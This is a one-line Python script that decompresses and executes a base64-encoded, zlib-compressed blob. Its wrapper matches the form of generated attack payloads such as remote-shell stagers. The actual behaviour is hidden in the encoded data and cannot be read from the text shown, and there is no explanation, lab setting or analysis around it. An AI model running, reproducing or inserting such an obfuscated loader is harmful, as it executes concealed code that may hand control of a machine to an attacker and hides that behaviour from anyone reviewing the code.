exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGMN26fawWEHEg4gIrjcRaZNxDU2TkMlqVfzvbujiZYb35s2bDzvFkDLFoEfI8tvZQQ49QttIzOmgs8x2AvIWEp2p9TT1fg+8XoktqXL6OsYKu6VZLYmv5QnvHq7vXndPjzdX96LolA7eg86cs0ZlHZXfpzAqG5is2029FkU1JOhHUsGsIeZiX+YrdACRbwRx3bKWOvjY65Gzy1smUSXQH7wR4nn1Qkx3wk6Qz3frgDrw3IgLd7QzZ//V84UWBGbQvFyuDOgwxQSIfHmCGtqmkAaKUv4wZFv8FeQPU1Bh0Q==')[0])))